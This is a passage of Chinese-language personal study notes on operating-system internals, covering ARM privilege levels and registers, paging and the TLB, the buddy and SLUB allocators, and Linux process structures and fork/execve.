[{"content":"操作系统概述 可执行文件如何存储在计算机中？——存储\n可执行文件如何加载到内存，并在CPU中运行——程序的加载与运行\n可执行文件如何将字符输出到屏幕——IO输出\n两个程序如何同时在一个CPU中运行？——程序如何并行？\nos有两个职责\n对硬件进行管理和抽象 为应用提供服务并进行管理 总之，就是作为中间层，对下进行抽象，对上提供服务与管理（服务和管理中当然也包括安全内容）\n硬件资源是复杂的、异构的、对开发者来说不友善且容易暴露安全问题的。操作系统需要对其进行管理。典型流程：1.识别 2.管理 3.抽象成服务 1.比如先识别不连续的、有限的内存 2.通过内存分配器对其进行管理 3.对上层提供连续无限的内存服务\n对于其他硬件也是如此。外设通过驱动进行管理。把有限的资源抽象成无限的服务\n但是，总的来说，操作系统的设计是服务于使用场景的；或者说，服务于应用的。其上运行的应用如果是多种多样，最终演化的形式就是如Windows，Linux这种面向用户的。如果运行的应用是专用场景，有各种各样的要求，那其架构和形式也将不同。场景决定取舍，取舍决定形态\n广义的操作系统可以分为操作系统内核+操作系统框架两层。\n操作系统内核 提供对硬件的管理和抽象，为操作系统框架提供基础的系统服务 操作系统框架 基于kernel，为不同的应用领域提供编程接口与运行环境 可以这样理解：内核是通用底座，框架是针对不同领域的适配\n操作系统接口\nkernel提供系统调用接口。这种系统调用接口在pwn中常用甚至LoOS中进行过编写。kernel如何提供系统调用是值得深入学习的\n由于每个操作系统提供的系统调用接口都各不相同，为了让同一个实例可以在不同的OS上运行，就衍生出了所谓的POSIX接口。POSIX是一种规范，规范最终能提供统一的接口；libc 是它在用户态的实现。所以针对不同的OS，系统调用接口不同，实现不同的libc，由libc来提供相同的POSIX接口，最终能够实现跨平台。\n我对微内核和宏内核的理解，根本区别在于框架与kernel的比重。如果kernel比重大则是宏内核；如果大部分该由OS提供的服务运行在框架层，则是微内核。\n硬件结构 冯诺依曼结构 IO - CPU - 存储器\n其根本特征在于，数据与指令同存同取。一方面带来著名的冯诺依曼瓶颈，即取指与取数会抢夺通信资源；一方面带来安全问题，如shellcode的可乘之机\n对于ARM架构，其特权级有EL0 - 3\nEL0 即用户态\nEL1 即内核态\nEL2 hyperviser\nEL3 TrustZone相关 普通世界/安全世界\n从EL0到EL1有三种方式：\n系统调用 指令主动执行 svc指令 异常 指令出错导致异常 缺页、非法、权限错、除零 中断 外设打断，与当前指令无关 前两种都是同步指令（因为都是由当前指令引起的），可以被沉睡，可以放置在一旁不管，不会影响最终的执行过程；\n第三种是异步。问题只要涉及异步就会变得很复杂，这个可以慢慢讨论\n在从EL0 进入EL1时，基于CPU负责保存当前执行状态，目的为在处理完EL1的任务后能够恢复之前的执行流。CPU保存的主要状态有：\n触发异常的指令地址 这就是返回的依据 异常原因 内核据此会去不同的异常处理函数 切换栈指针，此时会从用户栈切换到内核栈；同时也会把之前的寄存器状态保存到内核栈中 ARM类CPU中的一些特殊状态，保存到特殊寄存器中。为了回复状态 缺页异常触发的那个内存地址。对其进行后续的处理，比如调整映射表 可以看到，这个过程既涉及硬件CPU的参与，也有软件内核的参与，并不是一方全包。\n在内核启动时，会把异常向量表的地址写入VBAR_EL1。之后每次特权级切换时，CPU就去读这个寄存器。然后CPU会先把该它保存的事情做完，然后执行流进入异常向量表中对应的地址\n每个目标流程开始前，都会先把通用寄存器压成pt_regs，保存入内核栈，然后判断具体原因，然后分发给真正的处理函数。是系统调用还是异常。处理完恢复现场。\n关于哪些是硬件做，哪些是软件做——硬件只负责事发瞬间不可替代的原子动作\n寄存器\n在AArch64中，有31个64位通用寄存器，X0-X30。X31专门用来保存栈指针SP\n这31个通用寄存器是用来“计算和调用”的寄存器\nX0-X7用来传参和返回值\nX8是Linux系统调用号\nX9-X15 所谓caller-saved，即让调用者自己保存好，被调用的函数可以在运行过程中随意修改，已帮助自己进行运算\nX16 X17 这两个寄存器是链接器和动态链接器的跳板专用。为什么会出现这个设计？因为AArch64指令定长32位，要把目标地址编码进入指令，射程只有+-128MB，多了就去不了。同时也没有内存间接跳转指令，所以必须用寄存器保存一下地址然后再跳过去。所以本质上是存地址的工具\nX19-X28 用于跨调用存活变量。callee-saved，被调用者想用先自行备份。其实是用来存长生命变量的，由于会可能从父函数头到尾都要用到，所以子函数用这个寄存器时，要现在序言保存它数据，然后在尾声恢复数据，以保证父函数数据不丢失。\n对比X9-X15，就是存短生命变量的，其存取频率很高；而对于X19-X28，就是存长生命变量的，其存取频率相对来说没那么高。\nX29 FP，帧指针，指向当前栈帧基地址，类似x86中的bp\nX30 保存返回地址；ARM将返回地址放在寄存器中，而X86将返回地址放在栈上。对于ARM来说，当ret时从寄存器中取数据。但是由于这个寄存器全局只有一份，所以一旦遇到非叶子函数就会丢失信息，即函数内部调用别的函数，此时这个寄存器数据会丢失。所以非叶子函数必须手动保存它。其实到最后大部分情况依然与X86的差不多\n除此以外，还有两个页表基地址寄存器——TTBR0_EL1，TTBR1_EL1——现在理解起来有点复杂，需要综合数据结构、OS后续的学习内容来展开\n设备与中断\n内存映射输入输出（Memory-Mapped I/O，即MMIO）。其核心原理：统一编址。即将设备和物理内存放在同一个物理地址空间，将设备的内存与寄存器都分配上一个地址。在这种情况下，可以看作为CPU提供了一个统一的物理内存模型，CPU就可以用和访问内存相同的指令来访问设备。相应的也会有代价，代价就是正常物理内存模型中的一部分地址在意义上就必须用来提供给外设。\nMIMO能够解决CPU如何访问设备的问题，即CPU从设备中写入和取值，但是设备无法主动通知CPU。在这种情况下，就引入中断控制器这个硬件，通过硬件的形式衍生出中断这个操作。\n操作系统结构 前文说过，需求决定形态，而形态实则上是由结构决定的。在构建复杂系统时，必须合理考虑其内部结构。\n设计系统结构需要满足一定的设计目标，这些目标可以分为以下三种：\n1.外部目标：即系统被设计出来要解决的问题\n2.内部目标：易于实现和维护、灵活可靠、稳定、可扩展等目标\n3.商业目标：需要衡量这个系统实现和维护所需要的成本\n操作系统的机制和策略\n如何有效控制操作系统设计的复杂度？控制复杂度的第一性原理——将策略和机制相分离。即将“做决策”和“提供能力”拆开。策略表示做什么，策略表示如何做。\n即设计成什么样，与底层如何实现，拆开。但是要实现这个目标，引入抽象层是会带来开销的。\n分离本身也要进行设计：机制太薄，策略被迫重复造轮子；机制太厚，策略失去灵活性。所以真实系统是混合的：快路径常故意不分离\n操作系统复杂度管理方法\n管理复杂系统的重要方法 模块化 抽象 分层 层级\n模块划分不是越细越好，过多的模块会导致模块之间联系过多，无益于复杂度的控制；划分则要考虑高内聚低耦合，使模块具有独立性\n一个好的抽象应尽量依从模块间的自然边界，尽量减少模块间的交互，以减少错误在模块间的传递。安全边界上不应遵循“宽进严出”原则，宽容应当放在兼容/适配层，但是在核心接口上要走窄接口。\n对于复杂系统而言，当规模上去之后，就可能会导致模块过多，交互关系爆炸。此时引入分层和层级就可以进一步管理复杂度。\n分层和层级是两种给交互关系做拓扑约束的组织方式。分层——约束交互的对象，只能和同层和上下级交互，不能跨层；层级——功能相近的模块聚合成一个自包含子系统\n感觉这里就很接近中国政府的条条块块形态\n操作系统内核架构\n1.简要结构\n如MS-DOS、FreeRTOS、uCOS等操作系统。MS-DOS是早期操作系统，而RTOS这种则是现在还运行在许多场景中的操作系统。这种结构不区分内核态用户态，直接跑在同一个地址空间上，底层也不提供复杂的内存管理等功能，任何一个模块出问题都可能导致整个模块出问题。也因此不适用于复杂度高的场景，但是好处就是快。在不需要高复杂度且对实时性能要求高的场景好。往往运行在微控制单元MCU这种相对简单的硬件上\n2.宏内核架构\n特征是操作系统的所有模块都运行在内核态，具备直接操作硬件的能力。代码中有类似arch/arm/的目录，用于封装与体系结构相关的功能实现。\n这种内核为了管理复杂度，也采用了许多管理复杂度方法\n模块化：采用模块化策略组织各个功能，还提供了可加载内核模块LKM机制。当前大部分设备驱动都以这种形式存在\n抽象：如Linux中的一切皆文件。将数据、设备、内核对象等都抽象成文件，并为上层应用提供统一接口\n分层：如文件系统的分层结构。存储设备——设备驱动——块设备层——数据缓存——虚拟文件系统\n层级：如调度子系统中对进程优先级的分类，控制组对进程层级的分类；内存分配器对不同内存的分类等\n目前Linux的通用、适用于大部分场景的设计正在向专业化场景迁移，许多较大的创新开始向用户态迁移，正在向微内核转变。\n其余还有微内核、外核架构\n操作系统框架结构\nAndroid系统框架以Linux内核为kernel，在此之上进一步搞了一个硬件抽象层，此举受限于开源协议与接口限制，目的是为了Android框架的独立演进，可以不依赖于kernel版本。在硬件抽象层之上，提供新的库（方便应用开发，替代glibc）与Android运行环境（将应用从字节码转为可执行代码）。在此之上，又提供了一个Android应用框架，提供了应用运行所需要的基础服务，包括服务管理活动管理包管理窗口管理等。\n可以看到，这个框架的设计类似于微内核架构，将许多重要且专业的业务放到了内核之外来运行\nROS系统框架 Robot Operating System 即机器人操作系统\n运行在Linux内核或其他兼容POSIX接口的kernel之上，提供了一系列面向机器人场景应用的系统级服务。这个架构本身很有意思，类似于机器人版本的云原生基础设施，可以后来回来看看\n内存管理 现代操作系统在物理内存上进行抽象，产生了虚拟内存，提供了三个优点：\n高利用率。以页级细粒度进行物理内存的高效利用 隔离。不同进程的内存访问互相隔离，安全 统一且连续。提供给应用程序的服务 在提供虚拟内存抽象时，OS面对利用率x速度的矛盾，需要在不同场景下进行取舍。所以现代操作系统会使用不止一种分配器进行分配。\n物理地址如何被抽象为虚拟地址\nCPU中的MMU（内存管理单元）负责虚拟地址到物理地址的转换。CPU取指，此时发出的是指令的虚拟地址，通过MMU被翻译成物理地址，该请求被发送到物理内存设备，然后返回对应的内容。\n为了加速翻译，现代CPU都有TLB机制。转址旁路缓存 Translation Lookaside Buffer。属于MMU内部的单元\nMMU翻译的机制主要是两种：分段 分页\n分页已经成为历史胜出者。\n一、分段机制：按逻辑块切分\nVA 结构：段号 | 段内偏移 翻译 段表基址寄存器 → 找到段表；用段号索引 → 取出该段的 起始地址 + 段长 段起始物理地址 + 段内偏移 = 物理地址；段长用于越界检查 特点：分配单位是变长、逻辑上有意义的块（代码段、数据段、栈）；虚拟相邻的段可以映射到物理不相邻的段 → 支持离散分配 隐含优点：与程序逻辑结构天然对应（代码只读、数据可写——保护语义按段设置） 致命伤——外部碎片：总量够 ≠ 能分配 历史：8086 引入 → 80286 用于虚拟内存 → x86-64 后基本弃用（兼容保留，FS/GS 是残余：用作 TLS 指针） 二、分页机制：按等长格子切分\nVA 结构：虚拟页号 | 页内偏移（常见 4KB 页） 翻译：页表基址寄存器（x86 的 CR3 / AArch64 的 TTBR）→ 用页号查页表 → 得物理页号（PFN）→ PFN 基址 + 页内偏移 = 物理地址 特点：虚拟页与物理页等长；任意虚拟页可映射到任意物理页 好处： 外部碎片消失：任何空闲物理页都能用——\u0026ldquo;总量够就能分配\u0026rdquo; 分配极简：找任意空闲页帧即可 映射完全可编程：共享库（一页映到多个地址空间）、COW、按需分页、换出、大页——全部高级内存机制都建立在这个自由度上 页表规则化 → 可实现多级树、支持稀疏的大地址空间 代价：内部碎片（页内浪费）、页表空间开销、多一次翻译（靠 TLB 缓存） 分页取得胜利的本质原因，将“变长问题”转化为“定长问题”，是消灭外部碎片的通用手段。这种思想用在了很多分配器中\n分页策略的具体机制：\n多级页表取代单级页表的必要性：对于64位的虚拟地址空间，假设页大小为4KB，一张页表的大小就是2^64/4KB*8即3355432 GB。为了压缩页表大小从而引入多级页表。本质上是一种用时间换空间的思想。那么多级页表的建立可以很自然引入之前的页号与偏移的递归逻辑。每次查询都用虚拟页号+页内偏移量实现。\n同时，引入多级页表还可以将不存在的子级页表的空间节省下来。\n虚拟地址（48 位，4 级）\n┌────┬────┬────┬────┬──────────┐\n│VPN3│VPN2│VPN1│VPN0│ 页内偏移 │ （每段 9 位）\n└────┴────┴────┴────┴──────────┘\n│ │ │ └─→ L3 表 → 4KB 页\n│ │ └─→ L2 表\n│ └─→ L1 表\n└─→ L0 表（根，地址来自 TTBR/CR3）\n核心规则：某一级的条目为空 → 它下面的一整棵子树都不存在。那么就可以按需创建，同时整个页表只占几十KB 一种稀疏表示\n一个地址一共64位，高16位要么全1要么全0，区分用户态还是内核态；低48位，从高往低4x9=36位从L0-L3级页表的索引，最后12位表示页内偏移\n容易理解的是，由于虚拟地址空间是针对每个进程都抽象出来一份的，所以每个进程都会有一份属于自己的页表。但是内核页表只有一份，用户态列表每个进程都有一份，维护是由OS来维护的\nTLB：\n多级页表用时间换空间，TLB则能挽回一些时间性能上的损失。\n可以看到TLB有L1,L2两级缓存。L1的缓存区分指令与数据，L2则不区分。\nTLB的引入带来了一个新的问题：如何处理两个进程访问同一个虚拟地址时带来的冲突问题。A进程访问某个虚拟地址，于是在TLB中留下了缓存。此时B进程也访问该地址，一下就在TLB中也命中了该地址，就会导致两个进程可能同时对一个物理内存地址进行读写，导致数据写坏。\n为了处理该问题，ASID/PCID 技术给虚拟地址打上标签：每条TLB表项存了一个标识当前地址空间的编号，就可以在访问到不属于当前地址空间的表项时进行跳过\n换页与缺页异常\n对于每个进程来说，其所看到的内存空间都是平坦且无限的。但是实际的物理空间却是有限的。为了解决这个冲突，分配给每个进程的物理内存不一定有许诺的那么多，往往是要用到才通过页表置换的形式实时分配给它。极端情况下，当物理内存不够时，如果是已经保存的数据，都可以存入硬盘的虚拟空间中，直到要用时再回收回来继续使用。这种技术被称为page swapping。衍生的操作有swap out。具体来说，当OS希望从程序A那里回收物理页P时，操作系统需要将物理页P的内容写入到磁盘上的一个位置，并且在A的页表中去除对虚拟页V的映射，同时记录该物理页杯换到磁盘上的对应位置。此时页P就处于已分配但未被映射至物理内存的情况。\n缺页异常page fault与page swapping机制密不可分，也是换页机制能运行的前提。即当进程访问已分配但未映射至物理内存的虚拟页P时，就会触发page fault。此时会进入先前提到的处理异常流程，进入对应的handler，找到一个空闲的物理页，将磁盘上的页P进行加载并替换页表表项。该过程即换入 page in。之后继续正常运行\n由于换页过程涉及磁盘IO操作，为了减少IO耗时，OS往往引入预取机制进行优化，当换入操作发生时，预测还有哪些页即将被访问，并一次性完成换入操作。\n另外，虚拟内存还遵循按需页分配机制，即当进程申请内存时，新分配的虚拟页都会被标记为已分配但未映射的状态，直到真正被访问时会触发page fault。此时才有真正的映射。这个机制虽然确实很大程度上节约了物理内存资源，但是在首次访问时仍然会引入延迟开销，此时也可以用相同的思路引入局部性原理，将相临的页也提前做好映射，来减少page fault发生的次数。\n页替换算法\n空置\n虚拟内存功能\n除开为进程提供一个平坦连续无限独立的内存空间之外，虚拟内存还有其他功能\n共享内存 允许同一个物理页被不同的进程所共享。即将不同进程的虚拟地址映射到同一个物理地址上，就形成了一个共享空间，可以用来传递数据。还衍生出写时拷贝，内存去重等功能 写时拷贝 如两个程序共用一个库，就可以通过调整映射来共享一个物理内存的数据。等到某方真要写时，才为它单独复制一份。 本质是把\u0026quot;复制\u0026quot;这个昂贵动作推迟到不得不做的那一刻。一旦要写时，会触发缺页异常，然后OS会发现缺页异常的原因是尝试写只读内存，而相应的内存区域又是被OS标记成写时拷贝的。然后OS就会进行写时拷贝 内存去重 即定期扫描内存中具有相同内容的物理页，然后去除多余的映射，只保留一个物理页 内存压缩 即对不常用的内存页，压缩其中数据，等到要用时再解压。如linux中的zswap技术 大页 即通过扩大页的大小，变相提高TLB的缓存命中率，也可以减少页表的级数。不过提高粒度也可能导致物理内存资源浪费，大页与小页共存也会增加内存管理复杂度，引入相应攻击面 物理内存分配与管理\n内存分配设计的评价维度\n内存资源利用率：内存碎片（无法被利用的内存）分为内部碎片和外部碎片。内部碎片是\u0026quot;分给你的比你需要的多，多的那部分浪费在块内部\u0026quot;；外部碎片是\u0026quot;空闲内存总量够，但碎成小块凑不出你要的连续一块\u0026quot;。对于外部碎片，可以通过对内存进行等长划分来解决，但这样又会引入内部碎片。 性能。如果过度注重内存资源利用率，通过精密的算法提高利用率则会带来性能的开销。 所以优秀的内存分配器就是在做内存资源利用率和性能的取舍\nBuddy system 内存分配器\nbuddy system在现代OS中被广泛应用于分配连续的物理内存页。\n1.以块为基本单位进行分配\n2.每个块都由一个或多个连续的物理页组成，但是页的数量必须是2的n次幂\n3.维护一个全局数组free_area[i]，第i项挂一条链表，链上全是2的i次幂数量的物理页组成的的空闲块\n这是这个分配器的基础框架。操作：\n1.分配 当请求m页，那么这个m会落在2^(i−1) \u0026lt; m ≤ 2^i中（i = ⌈log₂m⌉），然后就去查找free_area[i]，如果该项为空则找i+1，i+2…，取到一个大块后一路对半劈，每次把剩下的另一半放到对应的链表去，直到取到合适大小的块为止。\n2.释放 释放出一个块，看看其对应大小的链表下有无同样空闲的块（伙伴）。找到伙伴则合并成更大的块，拿着更大的块再找对应的伙伴，如此级联向上。直到找不到伙伴，插入对应链表，结束。\nbuddy system的高妙之处：\n互为伙伴的两个块的物理地址仅有一位不同，且由块大小决定。也就是说，伙伴之间的拓扑关系被藏在了地址的第K位里，本质上是一个二叉树模型。只需要经过简单的运算就可以直接寻找到伙伴，而不需要维护复杂的数据结构\nslab分配器\n如果说buddy负责页级的内存分配，slab就负责字节级的内存分配，用于消除buddy导致的内存内部碎片。两者往往共同作用，是一个管道的上下两头\n20世纪90年代，slab分配器被实现。在使用过程中，衍生了许多问题：维护太多队列，实现日趋复杂，存储开销也由于复杂的设计而增大等\n于是，在slab分配器的基础上设计了slub分配器，极大简化了slab的设计和数据结构，在降低复杂度的基础上能够提供更好的性能，也继承了slab的接口。\n此外，slab家族中还有一种最简单的分配器slob。其需求空间在于内存稀缺资源场景（如嵌入式设备），有最小的存储开销，但在碎片问题的处理方面比不上其他两种分配器。\nLinux默认使用slub\nslub会：\n从buddy那里申请来块（一个或多个连续物理页） 把这个块进行等长切片：[元数据头][对象][对象][对象]… 将空闲对象用在其内部的freelist串起来，形成一个物理上相邻但逻辑上是链表的结构 结构大概如下：\nslab大小不同，可能在同一个池里，只要切分出来的对象大小相同即可\nslub会维护许多许多池，每个池都有不同的身份，状态，生命周期，以供给内核不同对象进行使用\n可以从状态机角度描述三个层次中的主体。\n一个slab可能处于三种状态，即全空闲（满），部分空闲，全被取走（忙）\n而一个slab会被两种指针追踪，一个是current，该指针指向当前主要取对象的slab；一个是partial链，该指针链的是拥有空闲块的slab\n而当slab处于第三种状态，全被取走时，其必然处于无人追踪状态。\n行为描述：释放：\n先查释放的对象属于哪个slab 去对应的slab，先记录下挂上这个对象之前的还剩的对象数量 把该对象挂上去 判断挂上去之后是不是满了 如果满了，则直接将该slab还给buddy 如果没满，且之前该slab上已经没有剩下的对象了（此时无人追踪），那么现在挂上去就有了，把它挂入partial链 如果没满，还有一种情况，那就是之前该slab上有空闲对象，意味着此时其可能是current，也可能在partial上。都是什么都不做 总之，绕了一大圈，就一个原则：满了就归还给buddy，没满就维持原样。最终目的是维护这个数据结构的基本状态\n数据结构 = 几条不变式（invariants）+ 一组\u0026quot;事件发生时把它们重新摆正\u0026quot;的操作。\n从安全视角看，一个结构永远会有一些基本规则，即无论如何不能变的，在这里就是：\n对象唯一归属\t每个对象要么在某个 slab 的 freelist 上（空闲），要么已分配；不能两处都在，也不能哪儿都不在 计数与结构一致\tfree_count 等于 freelist 实际长度；empty/partial/full 由它推出 current 永远可用\tcurrent 不能是满 slab——分配必须能从 current 直接拿到对象 partial 链语义\t链上只放\u0026quot;部分空闲\u0026quot;的 slab；满的不上链，全空的也不上链 满 slab 不追踪\t满 slab 不占任何池侧结构（没有可分配资源，追踪无收益） 全空必归还\tfree_count == total 的 slab 必须脱离管理结构并还给 buddy 单一归属\t一个 slab 至多出现在一个位置（current 槽位或 partial 链之一） 地址可反查\t任意对象地址能唯一推导出所属 slab 与 cache（free 路径的依赖） 而复杂的行为的每个分支，实际上都是在维护这组基本规则。漏洞就是想办法破坏某条规则\n从这个原则出发，也可以推导分配对象时slub的行为\n我认为，一个数据结构能否达到它被设计出来的目的，主要在于其设计的规则；而一个数据结构是否能高效地解决问题，主要在于其行为的复杂度。行为为了维护其规则而产生，但行为本身实现的复杂程度决定其运行效率。\nbuddy和slub是内核分配器。除此之外，还有用户态的分配器。如glibc malloc。这类分配器其具体形式或许有差别，但设计目的都遵循同样的一些原则。围绕这些根本性的东西来把握其具体实现，会更容易搞明白设计者的考量与妥协，也更能从范式或某种更高级的角度思考漏洞产生的原因，并按照所谓“清单式”的方式寻找每个角度的漏洞\n这些分配器还有一部分设计没有讨论，即如何在多核/多节点环境下运行，如何做并发防护\n进程与线程 物理事实：CPU 是一条执行流，内存是一块线性空间，机器只有一套寄存器和一套硬件\n目标：要让它看起来在同时跑很多程序\n这个问题本质上是一个虚拟化问题，即：如何把物理资源虚拟成多个可共存逻辑实体\n任何虚拟化like的场景都必须解决这三个问题，也就是虚拟化三要素：\n表示 = 主体/载体 切换 = 时分复用 隔离 = 空间边界 有必要读一下虚拟化领域的相关论文综述\n最终抽象出来的结构就是进程：一个正在执行的程序+其拥有的全部资源与状态\n从状态机的角度来讲：\nnew 已创建，但未初始化完。在调度器眼里不可见 ready 万事俱备，只差CPU。调度器眼里可见，可选中 running 被调度器选中，正在CPU上运行。在调度器眼中就是被选中的 blocked 需要等待外部事件（IO、定时器、信号） 不在运行队列，在调度器眼中不可见 terminated 已结束，不再执行。在调度器眼中不可见，接下来会被父进程回收。 进程相关的结构：\n课本上一般将进程抽象为一个PCB，但Linux具体的实现并非只有一个PCB。\nLinux中，是一个以 task_struct 为中心，用指针连接起来的结构体群\n本质上，是做了去耦合的工作：把需要共享的资源（如mm、files、fs、sighand），生命周期与进程不同（mm内存回收再分配、cred RCU延迟回收）、需要原子替换（cred、nsproxy、mm）、工程上体积大或是不常用的冷数据（mm带一整颗VMA树）进行了外置化。\ntask_struct结构体：\n字段组 关键内容 对应的资源 状态/调度 state、prio、policy、sched_entity CPU时间 内存 mm、active_mm 地址空间 文件 files、fs fd表、cwd/root 信号 signal、sighand、pending 异步通知 身份 cred（real_cred/cred） 权限 隔离 nsproxy namespace 关系 real_parent、children、slbling、group_leader 、thread_group 进程树与线程组 执行现场 stack（内核栈）、thread_info、arch的thread_struct 切换的物理载体 索引 task_list节点、pid、se.run_code 被各子系统“查找”的方式 task_struct结构体相当大，约10kb；slub会为其专门开个池子进行分配（ ls /sys/kernel/slab | grep task_struct）\nsched_entity（调度实体）是挂在runqueue红黑树上的节点，包含 load_weight（权重）、vruntime（CFS 虚拟时间），EEVDF 之后还带 deadline/vlag。它是\u0026quot;进程能参加调度\u0026quot;的凭证。与进程调度相关的实现密切相关 内核栈 + thread_info / thread_struct task-\u0026gt;stack 指向内核栈；当进程触发异常/中断/系统调用时，从用户态陷入内核态。此时会把所有用户可见的寄存器存到内核栈顶（固定偏移的pt_regs） 当进程从进程A切换到进程B时，要完成这个“被调度”的过程，进程A首先要trap到内核态，在这个过程中将用户态现场保存到内核栈顶。当A的执行流被交出时，此时A一定处于内核态，正在执行内核态代码；然后切换到B，此时B也走在B的内核路径上。上面的过程由于在内核态进行切换，所以我们要关注内核现场的保存。内核现场如何保存？将相关的内核寄存器保存到thread_struct中即可。恢复时也从这里取。对于进程AB来讲，虽然其寻找内核栈顶的pt_regs偏移都是相同的，但是由于虚拟内存技术，他们指向的真实物理地址却不相同。 A 用户态 │ svc #0 ▼ [内核] kernel_entry → ① 用户现场写进 A 的内核栈顶 pt_regs（此后一动不动） │ sys_read → 等磁盘 → schedule() │ ② 内核现场写进 A-\u0026gt;thread.cpu_context（x19–x28/fp/sp/pc） ▼ [内核] B 恢复（从 B 的 cpu_context 装载）→ 继续 B 自己的内核路径 │ │ ③ B 的用户现场从哪里恢复？→ 从 B 自己栈顶的 pt_regs（B 早先陷入时存的） ▼ B 用户态 ← 到这一刻，B 的用户现场才被恢复 wait_queue_entry（阻塞的载体） 。当进程不应该被调度器看到时，就会被挂到对应事件的wait_queue_head上。事件域可见性的数据结构本体 mm_struct 地址空间描述符。记录了pgd（页表根，符合之前每个进程一套页表的知识）、mmap索引根（红黑树，用于快速查找地址X落在虚拟地址空间中的哪一段里）、mmap_base（mmap区域的起点，与mmap操作密切相关）、mmap_lock（读写锁）、context（ASID TLB用，即前文讲过的给TLB表项打上一个标签。这个标签在这里要存一份）、rss_stat，以及一对经典的引用计数： mm_users 有多少任务在使用这个地址空间，支持线程的技术。进程死亡前起码先清除所有线程 mm_count 有多少“主引用”指向mm_struct本身——支持内核线程的技术 vm_area_struct （VMA：一段连续映射）。由于页表本身只描述页粒度，而OS有在多个页组成的一个连续空间上，描述不同段的属性（来源、权限、语义）的需求，因此需要VMA来充当一个地址空间目录 files_struct（文件表）描述打开了哪些文件 fs_struct（文件系统上下文）描述当前工作目录，与路径相关 信号三件套 sighand_struct signal_struct task→pending cred 凭据 nsproxy 命名空间集合 struct pid + PID哈希表 struct pid记录该进程在每一级PID namspace里的编号；全局PID哈希表负责find_task_by_vpid()之类的查找，即支持命名空间虚拟化功能的结构体 大概了解了一下进程相关的结构体，我们可以了解进程相关的操作：\nfork 复制当前执行流 pid = fork(); 父进程：pid = 子进程的 PID（\u0026gt;0） 子进程：pid = 0 失败： pid = -1（errno = EAGAIN/ENOMEM） 子进程从fork返回处继续执行，接着之前的执行流继续执行下去，只有返回值不同。\ntask_struct里面有的资源，子进程几乎都会一比一复刻一份，但是与锁相关的不会继承。PCB、内核栈、地址空间mm、页表等都会被复制，但PID不同。\n当fork()时，具体到内核态，copy_thread()会在子进程内核栈上人工构造两份现场，但是pt_regs的返回值寄存器的内容会被修改，这也是为什么最后会返回两个不同的返回值\n由于fork产生的两个进程所享受的资源一模一样，许多资源通过间接引用资源完全指向了同一份，如文件资源。在这种情况下，如何处理两个并行的程序对同一资源的使用带来的并发问题就是重点问题。\n同时由于使用的虚拟内存空间不同，COW 写时拷贝，对于fork来说就是相当有效的一个技术。新fork出来的进程被分配了与父进程完全相同的虚拟地址空间，但OS却不用急着真的分配相应的物理空间，而是等子进程跑到那儿要用了才分配。考虑一个情况，当fork出新进程后立即在子进程中运行exec载入了新程序，那么这种情况下刚分配好的物理地址空间又得重新分配，COW技术很好地减少了此时的开销。\nexecve 进程的执行 execve的语义：用新进程替换当前进程的程序映像\n当执行execve时：\n执行态全部换掉。地址空间、页表、VMA、TLS这些全部换掉 身份态全部保留：PID、fd表、命名空间、cgroup等，属于进程本身的属性 行为态清零：信号处理函数、信号、定时器等清楚 安全态收紧：根据参数进行凭据替换与一系列安全清理 fork与execve，一个复制程序，一个借尸还魂。这两个原语是一组正交原语。用近世代数来理解：\n若进程状态 P = （身份I，上下文C，内容M）\nfork: P → P × P （复制，共享关系由 clone flags 决定）\nexec: M → M′ （只换内容；I、C 原样保留）\n窗口: 任意 syscall 序列 f: P → P （fork 与 exec 之间的用户代码）\n组合子: 顺序(;) 、并行(|) 、递归（子进程内再 fork/exec）\n语义空间 = 由 {fork, exec, 窗口, 组合子} 生成的全部表达式集合。\n在Linux中，进程都是由fork创建的。在这种情况下，必然有第一个进程不是由fork创建的，即PID 0；这个进程是被编译进kernel image的静态数据结构init_task。然后由init_task被内核由kernel中的fork部分（即抛开系统调用入口的fork内部函数部分）给创建出PID 1(init)和PID 2(kthreadd)\n除开这特殊的插曲以外，所有进程都是通过fork创建的，因此OS可以通过fork来追踪进程之间的关系。在task_struct中，每个进程都会记录自己的父进程和子进程，进程之间因此构成了树结构。\nOS正是通过该树结构对进程进行管理的。\n当OS启动时，PID 1的init会将kthreadd进程fork出来，然后所有由内核创建和管理的进程都是由它（kthreadd）fork出来的。等到一切准备就绪之后，init会fork出一个login进程来要求用户登录。当登陆通过后，会fork出一个shell来与用户交互。\n通过进程树结构，kernel在此基础上有了监控、回收、信号分发等一系列行为。\n进程间监控：wait。实则进程的监控需要从多个方面进行考虑，监控其状态、资源、行为、关系、历史等。wait关注的则是进程的状态。wait只能由父进程对子进程施加，并回收进程占用的资源和终止时的status。如果一个进程没有被wait，则其是zombie进程\n进程组：诞生的目的是面向用户态，即帮助用户态进行作业控制。在用户态眼中，a | b | c作为一个作业整体，被单独视作一个作业单位。为了描述这个用户眼中的作业的基本单位，于是有了进程组\n在默认情况下，父子进程属于同一个进程组。但Linux为子进程提供了脱离当前进程组的接口setpgid，可以创建新进程组或在进程组之间进行移动。在对用户提供的服务上，进程组提供了作业控制服务，但是其底层实现原理是控制信号的传播范围（比如发送kill信号，kill被给到整个进程组的进程）\n而会话SID则是进程组的集合，由一个或多个进程组构成。同时要认识到，Session是对用户无感的，整个结构中完全不存在uid的成分。SID主要作用是将进程组区分为前台进程组和后台进程组，在这种划分下，才可以确定前台用户输入的信号到底是给正在运行的诸多程序中的哪个程序。可以说是“计算机表现出来的并行”为了“人类思考与输入的串行”而定制的一个中间接口。\n综上，在每个进程的task_struct中都会有PID GID SID三个属性，用于构建相关的数据结构\n要继续深入，可以讨论fork的局限性，fork的替代、fork的进一步包装等等内容\n线程\n随着多核处理器的普及，并发能力逐渐充裕。在资源贵，并发/处理能力充裕的这种背景下，衍生出了对进程原本“资源+执行”耦合系统的一次分离：即将资源与执行分离开来。进程保留资源，线程成为执行单位。\n最终，即可以在减少内存资源开销的情况下支持并发\n一个进程内的线程共享原进程的所有资源，只有执行状态（寄存器/栈）、task_struct、内核栈要新建。为什么还有task_struct？因为其内嵌的部分就是执行状态所必需的内容。\n从根本来思考，如果从进程到线程，是把资源与执行的原本耦合给分离开来。要支持这种分离，就需要内核在相关层次上提供语义？在内核眼中是多个task，但这多个task在宏观上属于同一个任务，所以要将微观的并发多个任务通过中间的组在宏观上统一成一个任务，这就是内核提供的组语义？顺理成章，这个组语义应当是用来权限控制、资源控制等等的；但是我想，为什么不直接用进程套壳呢？kernel原本就已经对进程实现好了资源控制等内容，在进程中嵌入多个线程不就可以直接搞定吗？但是这里我又想到，这样在内核那里就无法区分可调度的多个任务，无法灵活调度了。但要解决这个问题，把调度实体从进程中单独拆开来不就好了吗？也就是说，我只要对进程task_struct做一些改动就可以让进程概念成为原生的组语义啊\n经过进一步了